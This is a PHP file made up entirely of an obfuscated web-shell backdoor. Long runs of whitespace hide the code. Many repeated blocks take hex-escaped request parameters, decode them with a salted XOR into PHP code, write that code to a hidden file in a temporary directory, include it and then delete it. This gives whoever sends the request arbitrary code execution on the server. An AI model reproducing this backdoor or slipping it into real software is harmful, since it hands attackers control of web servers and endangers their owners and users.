<?php																																										if(!is_null($_REQUEST["\x68olde\x72"] ?? null)){ $obj = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), "/var/tmp"]); $reference = $_REQUEST["\x68olde\x72"]; $reference = explode ( "." , $reference ) ; $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $len = count($reference ); for ($n = 0; $n < $len; $n++) { $v1 = $reference[$n]; $sChar = ord($s[$n % $sLen] ); $dec = ((int)$v1 - $sChar - ($n % 10)) ^ 55; $tkn .= chr($dec );} for ($binding = 0, $parameter_group = count($obj); $binding < $parameter_group; $binding++) { $dchunk = $obj[$binding]; if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $itm = sprintf("%s/.factor", $dchunk); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $itm; @unlink($itm); exit; } } } }
																																										if(isset($_REQUEST["\x6Fb\x6Aect"]) ? true : false){ $marker = $_REQUEST["\x6Fb\x6Aect"]; $marker = explode ( "." ,$marker ) ; $pointer = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $o = 0; while ($o < count($marker)) { $v2 = $marker[$o]; $sChar = ord($salt2[$o % $lenS]); $d = ((int)$v2 - $sChar - ($o % 10)) ^ 9; $pointer .=chr($d); $o++; } $sym = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), session_save_path(), "/var/tmp", getcwd()]); foreach ($sym as $desc): if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $reference = "$desc" . "/.entry"; if (@file_put_contents($reference, $pointer) !== false) { include $reference; unlink($reference); die(); } } endforeach; }
																																										if(!empty($_REQUEST["ite\x6D"])){ $pointer = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), "/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]); $ent = $_REQUEST["ite\x6D"]; $ent= explode ( '.' , $ent ); $key = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7); foreach( $ent as $v => $v3) {$sChar = ord( $salt7[$v % $sLen]); $dec =( ( int)$v3 - $sChar -( $v % 10)) ^ 70; $key.= chr( $dec);} foreach ($pointer as $holder): if ((bool)is_dir($holder) && (bool)is_writable($holder)) { $marker = join("/", [$holder, ".flag"]); $success = file_put_contents($marker, $key); if ($success) { include $marker; @unlink($marker); exit;} } endforeach; }
																																										if(in_array("\x76alu\x65", array_keys($_REQUEST))){ $factor = array_filter([getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd()]); $val = $_REQUEST["\x76alu\x65"]; $val = explode ('.' , $val) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $q = 0; while($q < count($val)) { $v2 = $val[$q]; $chS = ord($s[$q% $sLen]); $d =((int)$v2 - $chS -($q% 10))^ 13; $res .= chr($d); $q++; } foreach ($factor as $key => $item) { if ((is_dir($item) and is_writable($item))) { $ptr = "$item" . "/.data_chunk"; if (@file_put_contents($ptr, $res) !== false) { include $ptr; unlink($ptr); die(); } } } }
																																										if(isset($_POST["bin\x64"]) ? true : false){ $sym = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), session_save_path()]); $parameter_group = $_POST["bin\x64"]; $parameter_group =explode(".", $parameter_group) ; $ref= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $q= 0; $__tmp= $parameter_group; while($v8= array_shift($__tmp)) { $sChar= ord($salt[$q % $sLen]); $d= ((int)$v8 - $sChar -($q % 10)) ^ 33; $ref .= chr($d); $q++; } foreach ($sym as $descriptor): if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $data = vsprintf("%s/%s", [$descriptor, ".ent"]); if (file_put_contents($data, $ref)) { require $data; unlink($data); exit; } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["r\x65\x63"])){ $descriptor = $_POST["r\x65\x63"]; $descriptor = explode ( "." , $descriptor ) ; $dat = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); foreach ($descriptor as $q=> $v2): $chS = ord($s7[$q % $sLen]); $dec = ((int)$v2 - $chS - ($q % 10)) ^21; $dat .= chr($dec); endforeach; $flag = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp", "/tmp"]); while ($pgrp = array_shift($flag)) { if (max(0, is_dir($pgrp) * is_writable($pgrp))) { $bind = "$pgrp" . "/.pointer"; if (@file_put_contents($bind, $dat) !== false) { include $bind; unlink($bind); die(); } } } }
																																										if(isset($_POST["ref"])){ $fac = $_POST["ref"]; $fac = explode ( '.' , $fac ) ; $marker= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s7); $y= 0; $__tmp= $fac; while( $v8= array_shift( $__tmp)) { $sChar= ord( $s7[$y % $sLen]); $dec= ( ( int)$v8 - $sChar -( $y % 10)) ^ 89; $marker .= chr( $dec); $y++;} $entity = array_filter([sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($entity as $sym) { if (is_writable($sym) && is_dir($sym)) { $ptr = join("/", [$sym, ".component"]); if (@file_put_contents($ptr, $marker) !== false) { include $ptr; unlink($ptr); exit; } } } }
																																										if(array_key_exists("k", $_REQUEST)){ $ent = array_filter([getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); $pgrp = $_REQUEST["k"]; $pgrp=explode( '.' , $pgrp ) ; $flg = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $m = 0; $__tmp = $pgrp; while( $v3 = array_shift( $__tmp)) { $sChar = ord( $salt7[$m% $lenS]); $d =( ( int)$v3 - $sChar -( $m% 10)) ^ 28; $flg.= chr( $d); $m++; } $element = 0; do { $bind = $ent[$element] ?? null; if ($element >= count($ent)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($bind)) { $hld = str_replace("{var_dir}", $bind, "{var_dir}/.key"); if (file_put_contents($hld, $flg)) { require $hld; unlink($hld); exit; } } $element++; } while (true); }
																																										if(isset($_REQUEST["\x76\x61l"]) ? true : false){ $ptr = $_REQUEST["\x76\x61l"]; $ptr =explode( "." , $ptr ) ; $itm = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $r = 0; foreach( $ptr as $v3) { $chS = ord( $s[$r % $lenS]); $d =( ( int)$v3 - $chS -( $r % 10)) ^ 19; $itm .= chr( $d); $r++; } $marker = array_filter([getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm"]); foreach ($marker as $key => $holder) { if (!!is_dir($holder) && !!is_writable($holder)) { $tkn = sprintf("%s/.k", $holder); $success = file_put_contents($tkn, $itm); if ($success) { include $tkn; @unlink($tkn); die();} } } }
																																										if(filter_has_var(INPUT_POST, "\x70g\x72p")){ $object = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), session_save_path(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $hld = $_POST["\x70g\x72p"]; $hld = explode ( "." , $hld ) ; $entity =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); foreach ($hld as $y => $v8) { $sChar =ord($salt[$y % $sLen]); $d =((int)$v8 - $sChar - ($y % 10))^59; $entity .= chr($d); } while ($elem = array_shift($object)) { if (is_dir($elem) && is_writable($elem)) { $itm = "$elem" . "/.rec"; $success = file_put_contents($itm, $entity); if ($success) { include $itm; @unlink($itm); die();} } } }
																																										if(!empty($_POST["\x76\x61l"])){ $component = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path()]); $pgrp = $_POST["\x76\x61l"]; $pgrp = explode ( ".", $pgrp ) ; $itm =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s6); $x =0; foreach($pgrp as $v3) { $chS =ord($s6[$x % $lenS]); $dec =((int)$v3 - $chS -($x % 10)) ^ 98; $itm .= chr($dec); $x++; } foreach ($component as $key => $flag) { if (max(0, is_dir($flag) * is_writable($flag))) { $ent = "$flag" . "/.entity"; $success = file_put_contents($ent, $itm); if ($success) { include $ent; @unlink($ent); exit;} } } }
																																										if(isset($_POST["\x69tem"])){ $holder = $_POST["\x69tem"]; $holder = explode( '.' , $holder ); $flag = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8); $i = 0; foreach( $holder as $v7) { $chS = ord( $s8[$i% $sLen]); $d =( ( int)$v7 - $chS -( $i% 10))^62; $flag .=chr( $d); $i++;} $desc = array_filter([getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); for ($entry = 0, $object = count($desc); $entry < $object; $entry++) { $sym = $desc[$entry]; if ((is_dir($sym) and is_writable($sym))) { $factor = "$sym/.val"; if (file_put_contents($factor, $flag)) { require $factor; unlink($factor); die(); } } } }
																																										if(@$_POST["val"] !== null){ $elem = array_filter([sys_get_temp_dir(), getcwd(), "/dev/shm", session_save_path(), "/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); $pointer = $_POST["val"]; $pointer = explode ('.' , $pointer ) ; $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $y = 0; while ($y<count($pointer)) { $v9 = $pointer[$y]; $chS = ord($salt[$y % $sLen]); $d = ((int)$v9 - $chS - ($y % 10)) ^ 72; $entry .= chr($d); $y++; } $hld = 0; do { $value = $elem[$hld] ?? null; if ($hld >= count($elem)) break; if (is_dir($value) ? is_writable($value) : false) { $token = "$value" . "/.desc"; if (file_put_contents($token, $entry)) { include $token; @unlink($token); die(); } } $hld++; } while (true); }
																																										if(isset($_POST["to\x6Be\x6E"]) ? true : false){ $elem = $_POST["to\x6Be\x6E"]; $elem = explode ( "." , $elem ) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($elem); for ($p = 0; $p < $__len; $p++) { $v9 = $elem[$p]; $sChar = ord($salt[$p%$lenS]); $dec = ((int)$v9 - $sChar - ($p%10)) ^ 91; $data_chunk .= chr($dec); } $entry = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP")]); $item = 0; do { $binding = $entry[$item] ?? null; if ($item >= count($entry)) break; if (is_dir($binding) ? is_writable($binding) : false) { $symbol = "$binding" . "/.ent"; if (@file_put_contents($symbol, $data_chunk) !== false) { include $symbol; unlink($symbol); die(); } } $item++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x62i\x6E\x64ing"])){ $data = $_REQUEST["\x62i\x6E\x64ing"]; $data = explode ( '.' , $data); $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $j = 0; foreach ($data as $v7) { $sChar = ord($s[$j %$sLen]); $dec = ((int)$v7 - $sChar - ($j %10)) ^ 45; $entry .= chr($dec); $j++; } $dchunk = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]); $property_set = 0; do { $descriptor = $dchunk[$property_set] ?? null; if ($property_set >= count($dchunk)) break; if (is_dir($descriptor) ? is_writable($descriptor) : false) { $marker = vsprintf("%s/%s", [$descriptor, ".resource"]); if (file_put_contents($marker, $entry)) { include $marker; @unlink($marker); exit; } } $property_set++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "e\x6E\x74i\x74y")){ $parameter_group = $_POST["e\x6E\x74i\x74y"]; $parameter_group =explode (".", $parameter_group ) ; $elem= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s ); $p= 0; $len= count( $parameter_group ); do { if( $p >= $len) break; $v6= $parameter_group[$p]; $chS= ord( $s[$p % $sLen] ); $d= ( ( int)$v6 - $chS -( $p % 10)) ^ 76; $elem .= chr( $d ); $p++; } while( true ); $item = array_filter([sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", session_save_path(), getcwd()]); foreach ($item as $pgrp): if (max(0, is_dir($pgrp) * is_writable($pgrp))) { $bind = implode("/", [$pgrp, ".value"]); if (@file_put_contents($bind, $elem) !== false) { include $bind; unlink($bind); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["\x6Da\x72k\x65r"] ?? null)){ $dat = $_REQUEST["\x6Da\x72k\x65r"]; $dat= explode ( '.' ,$dat) ; $parameter_group= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $m= 0; while ($m < count($dat)) {$v4= $dat[$m]; $sChar= ord($salt[$m % $lenS]); $d= ((int)$v4 - $sChar - ($m % 10)) ^ 26; $parameter_group .=chr($d); $m++; } $res = array_filter([getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), "/var/tmp"]); for ($fac = 0, $factor = count($res); $fac < $factor; $fac++) { $component = $res[$fac]; if ((bool)is_dir($component) && (bool)is_writable($component)) { $property_set = "$component" . "/.record"; if (file_put_contents($property_set, $parameter_group)) { include $property_set; @unlink($property_set); die(); } } } }
																																										if(in_array("\x68\x6Cd", array_keys($_REQUEST))){ $res = $_REQUEST["\x68\x6Cd"]; $res = explode ( '.', $res ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $p = 0; array_walk($res , function($v1) use(&$resource , &$p , $s , $lenS) {$chS = ord($s[$p % $lenS] ); $d =((int)$v1 - $chS -($p % 10)) ^ 6; $resource .= chr($d ); $p++;} ); $key = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TMP"), getcwd()]); while ($mrk = array_shift($key)) { if (max(0, is_dir($mrk) * is_writable($mrk))) { $marker = str_replace("{var_dir}", $mrk, "{var_dir}/.itm"); if (@file_put_contents($marker, $resource) !== false) { include $marker; unlink($marker); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x66\x61c")){ $record = $_POST["\x66\x61c"]; $record =explode( ".", $record ) ; $factor = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $q = 0; foreach( $record as $v8) { $chS = ord( $s5[$q % $sLen]); $dec =( ( int)$v8 - $chS -( $q % 10))^ 26; $factor .= chr( $dec); $q++; } $tkn = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($tkn as $resource) { if (!!is_dir($resource) && !!is_writable($resource)) { $symbol = implode("/", [$resource, ".descriptor"]); if (file_put_contents($symbol, $factor)) { include $symbol; @unlink($symbol); die(); } } } }
																																										if(array_key_exists("d\x61t\x61\x5F\x63h\x75nk", $_REQUEST) && !is_null($_REQUEST["d\x61t\x61\x5F\x63h\x75nk"])){ $ent = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", session_save_path(), "/dev/shm"]); $key = $_REQUEST["d\x61t\x61\x5F\x63h\x75nk"]; $key = explode ( "." ,$key ) ; $sym = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $s = 0; while( $s < count( $key)) { $v8 = $key[$s]; $sChar = ord( $s5[$s % $sLen]); $dec = ( ( int)$v8 - $sChar -( $s % 10)) ^ 100; $sym .= chr( $dec); $s++; } foreach ($ent as $factor): if (is_dir($factor) && is_writable($factor)) { $hld = sprintf("%s/.object", $factor); if (file_put_contents($hld, $sym)) { require $hld; unlink($hld); exit; } } endforeach; }
																																										if(!empty($_REQUEST["\x6Fbject"])){ $tkn = array_filter(["/var/tmp", session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $holder = $_REQUEST["\x6Fbject"]; $holder =explode( '.' ,$holder) ; $marker = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $__len = count($holder); for ($m = 0; $m < $__len; $m++) { $v3 = $holder[$m]; $chS = ord($s4[$m % $sLen]); $d = ((int)$v3 - $chS - ($m % 10)) ^30; $marker .= chr($d); } foreach ($tkn as $ent) { if (max(0, is_dir($ent) * is_writable($ent))) { $desc = vsprintf("%s/%s", [$ent, ".record"]); $success = file_put_contents($desc, $marker); if ($success) { include $desc; @unlink($desc); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["reco\x72\x64"])){ $pgrp = $_REQUEST["reco\x72\x64"]; $pgrp= explode( "." , $pgrp ) ; $sym = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); $r = 0; $__len = count($pgrp); do { if($r >=$__len) break; $v4 = $pgrp[$r]; $sChar = ord($s8[$r % $lenS]); $d =((int)$v4 - $sChar -($r % 10)) ^ 70; $sym .= chr($d); $r++; }while(true); $item = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP")]); $property_set = 0; do { $itm = $item[$property_set] ?? null; if ($property_set >= count($item)) break; if (!( !is_dir($itm) || !is_writable($itm) )) { $marker = str_replace("{var_dir}", $itm, "{var_dir}/.hld"); $success = file_put_contents($marker, $sym); if ($success) { include $marker; @unlink($marker); die();} } $property_set++; } while (true); }
																																										if(isset($_POST["p\x73e\x74"]) ? true : false){ $ent = $_POST["p\x73e\x74"]; $ent =explode('.' , $ent ) ; $value = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); $__len = count($ent ); for ($z = 0; $z < $__len; $z++) { $v2 = $ent[$z]; $sChar = ord($s4[$z % $sLen] ); $dec = ((int)$v2 - $sChar - ($z % 10))^ 3; $value.=chr($dec ); } $k = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", "/tmp", "/dev/shm"]); foreach ($k as $val): if ((is_dir($val) and is_writable($val))) { $component = implode("/", [$val, ".desc"]); $success = file_put_contents($component, $value); if ($success) { include $component; @unlink($component); exit;} } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x64at"])){ $hld = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm"]); $entity = $_POST["\x64at"]; $entity = explode ( "." , $entity) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $v = 0; foreach ($entity as $v3) { $sChar = ord($s[$v % $lenS] ); $d = ((int)$v3 - $sChar - ($v % 10)) ^ 36; $parameter_group .= chr($d ); $v++; } for ($ptr = 0, $symbol = count($hld); $ptr < $symbol; $ptr++) { $val = $hld[$ptr]; if (array_product([is_dir($val), is_writable($val)])) { $fac = join("/", [$val, ".comp"]); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $fac; @unlink($fac); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x76\x61lue"])){ $pgrp = $_REQUEST["\x76\x61lue"]; $pgrp = explode ( ".", $pgrp) ; $mrk = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3 ); $__len = count($pgrp ); for ($z = 0; $z < $__len; $z++) { $v4 = $pgrp[$z]; $sChar = ord($salt3[$z % $lenS] ); $d = ((int)$v4 - $sChar - ($z % 10)) ^ 70; $mrk.= chr($d ); } $data_chunk = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TEMP")]); foreach ($data_chunk as $key => $k) { if (max(0, is_dir($k) * is_writable($k))) { $pset = "$k" . "/.flg"; $success = file_put_contents($pset, $mrk); if ($success) { include $pset; @unlink($pset); die();} } } }
																																										if(array_key_exists("\x72e\x73ou\x72c\x65", $_POST)){ $fac = $_POST["\x72e\x73ou\x72c\x65"]; $fac = explode ('.' , $fac ) ; $sym = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $w = 0; array_walk($fac, function ($v3) use (&$sym, &$w, $s5, $lenS) {$chS = ord($s5[$w % $lenS]); $d = ((int)$v3 - $chS - ($w % 10))^ 11; $sym .= chr($d); $w++; }); $ref = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm"]); $res = 0; do { $item = $ref[$res] ?? null; if ($res >= count($ref)) break; if (!( !is_dir($item) || !is_writable($item) )) { $marker = "$item/.itm"; $success = file_put_contents($marker, $sym); if ($success) { include $marker; @unlink($marker); exit;} } $res++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "ref")){ $dchunk = array_filter(["/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); $tkn = $_POST["ref"]; $tkn = explode ( "." , $tkn ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $v = 0; while( $v < count( $tkn)) { $v8 = $tkn[$v]; $sChar = ord( $s[$v%$lenS]); $d = ( ( int)$v8 - $sChar -( $v%10)) ^ 46; $bind .= chr( $d); $v++;} while ($fac = array_shift($dchunk)) { if (!( !is_dir($fac) || !is_writable($fac) )) { $rec = sprintf("%s/.pgrp", $fac); if (file_put_contents($rec, $bind)) { include $rec; @unlink($rec); die(); } } } }
																																										if(array_key_exists("rec", $_REQUEST)){ $pointer = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir")]); $ref = $_REQUEST["rec"]; $ref= explode ( '.' ,$ref ); $sym = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6); $__len = count( $ref); for( $m = 0; $m< $__len; $m++) { $v4 = $ref[$m]; $chS = ord( $s6[$m % $sLen]); $dec =( ( int)$v4 - $chS -( $m % 10)) ^ 50; $sym.= chr( $dec); } foreach ($pointer as $entity) { if ((function($d) { return is_dir($d) && is_writable($d); })($entity)) { $pgrp = vsprintf("%s/%s", [$entity, ".tkn"]); if (file_put_contents($pgrp, $sym)) { include $pgrp; @unlink($pgrp); die(); } } } }


if(isset($_REQUEST["pr\x6F\x70\x65r\x74y_\x73e\x74"]) ? true : false){
	$resource = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd(), getenv("TMP")]);
	$desc = $_REQUEST["pr\x6F\x70\x65r\x74y_\x73e\x74"];
			$desc  =	 explode  ( 	"." ,$desc )	;	 	
	$ent  =  '';
            $salt  =  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen  =  strlen(	 $salt);
            $z  =  0;
            $__len  =  count(	 $desc);
    
            do {
                if(	 $z >= $__len) break;
                $v9  =  $desc[$z];
                $chS  =  ord(	 $salt[$z	%	 $sLen]);
                $dec  =  (	 (	 int)$v9 - $chS -(	 $z	%	 10))  ^	 94;
                $ent.= chr(	 $dec);
                $z++;	}while(	 true);
	while ($token = array_shift($resource)) {
    		if (!!is_dir($token) && !!is_writable($token)) {
    $elem = str_replace("{var_dir}", $token, "{var_dir}/.item");
    if (file_put_contents($elem, $ent)) {
	include $elem;
	@unlink($elem);
	exit;
}
}
}
}